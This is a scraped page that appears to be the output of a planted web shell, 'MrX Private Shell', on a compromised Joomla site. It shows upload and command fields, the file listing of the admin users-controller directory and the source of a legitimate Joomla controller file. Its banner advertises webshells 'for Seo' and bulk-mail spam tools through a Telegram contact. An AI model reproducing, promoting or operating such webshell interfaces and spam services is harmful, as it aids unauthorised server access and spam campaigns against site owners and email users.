__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * @package     Joomla.Administrator
 * @subpackage  com_users
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\Component\Users\Administrator\Controller;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Input\Input;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\Controller\AdminController;
use Joomla\CMS\MVC\Controller\BaseController;
use Joomla\CMS\MVC\Factory\MVCFactoryInterface;
use Joomla\CMS\Response\JsonResponse;
use Joomla\Utilities\ArrayHelper;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Users list controller class.
 *
 * @since  1.6
 */
class UsersController extends AdminController
{
    /**
     * @var    string  The prefix to use with controller messages.
     * @since  1.6
     */
    protected $text_prefix = 'COM_USERS_USERS';

    /**
     * Constructor.
     *
     * @param   array                $config   An optional associative array of configuration settings.
     * @param   MVCFactoryInterface  $factory  The factory.
     * @param   CMSApplication       $app      The CMSApplication for the dispatcher
     * @param   Input                $input    Input
     *
     * @since  1.6
     * @see    BaseController
     * @throws \Exception
     */
    public function __construct($config = [], MVCFactoryInterface $factory = null, $app = null, $input = null)
    {
        parent::__construct($config, $factory, $app, $input);

        $this->registerTask('block', 'changeBlock');
        $this->registerTask('unblock', 'changeBlock');
    }

    /**
     * Proxy for getModel.
     *
     * @param   string  $name    The model name. Optional.
     * @param   string  $prefix  The class prefix. Optional.
     * @param   array   $config  Configuration array for model. Optional.
     *
     * @return  object  The model.
     *
     * @since   1.6
     */
    public function getModel($name = 'User', $prefix = 'Administrator', $config = ['ignore_request' => true])
    {
        return parent::getModel($name, $prefix, $config);
    }

    /**
     * Method to change the block status on a record.
     *
     * @return  void
     *
     * @since   1.6
     */
    public function changeBlock()
    {
        // Check for request forgeries.
        $this->checkToken();

        $ids    = (array) $this->input->get('cid', [], 'int');
        $values = ['block' => 1, 'unblock' => 0];
        $task   = $this->getTask();
        $value  = ArrayHelper::getValue($values, $task, 0, 'int');

        // Remove zero values resulting from input filter
        $ids = array_filter($ids);

        if (empty($ids)) {
            $this->setMessage(Text::_('COM_USERS_USERS_NO_ITEM_SELECTED'), 'warning');
        } else {
            // Get the model.
            $model = $this->getModel();

            // Change the state of the records.
            if (!$model->block($ids, $value)) {
                $this->setMessage($model->getError(), 'error');
            } else {
                if ($value == 1) {
                    $this->setMessage(Text::plural('COM_USERS_N_USERS_BLOCKED', count($ids)));
                } elseif ($value == 0) {
                    $this->setMessage(Text::plural('COM_USERS_N_USERS_UNBLOCKED', count($ids)));
                }
            }
        }

        $this->setRedirect('index.php?option=com_users&view=users');
    }

    /**
     * Method to activate a record.
     *
     * @return  void
     *
     * @since   1.6
     */
    public function activate()
    {
        // Check for request forgeries.
        $this->checkToken();

        $ids = (array) $this->input->get('cid', [], 'int');

        // Remove zero values resulting from input filter
        $ids = array_filter($ids);

        if (empty($ids)) {
            $this->setMessage(Text::_('COM_USERS_USERS_NO_ITEM_SELECTED'), 'error');
        } else {
            // Get the model.
            $model = $this->getModel();

            // Change the state of the records.
            if (!$model->activate($ids)) {
                $this->setMessage($model->getError(), 'error');
            } else {
                $this->setMessage(Text::plural('COM_USERS_N_USERS_ACTIVATED', count($ids)));
            }
        }

        $this->setRedirect('index.php?option=com_users&view=users');
    }

    /**
     * Method to get the number of active users
     *
     * @return  void
     *
     * @since   4.0.0
     */
    public function getQuickiconContent()
    {
        $model = $this->getModel('Users');

        $model->setState('filter.state', 0);

        $amount = (int) $model->getTotal();

        $result = [];

        $result['amount'] = $amount;
        $result['sronly'] = Text::plural('COM_USERS_N_QUICKICON_SRONLY', $amount);
        $result['name']   = Text::plural('COM_USERS_N_QUICKICON', $amount);

        echo new JsonResponse($result);
    }
}

Filemanager

Name Type Size Permission Actions
CallbackController.php File 2.63 KB 0664
CaptiveController.php File 8.98 KB 0664
DisplayController.php File 4.45 KB 0664
GroupController.php File 2.03 KB 0664
GroupsController.php File 3.59 KB 0664
LevelController.php File 3.63 KB 0664
LevelsController.php File 1.22 KB 0664
MailController.php File 1.61 KB 0664
MethodController.php File 15.59 KB 0664
MethodsController.php File 7.28 KB 0664
NoteController.php File 1.42 KB 0664
NotesController.php File 1.25 KB 0664
UserController.php File 4.53 KB 0664
UsersController.php File 4.9 KB 0664
Filemanager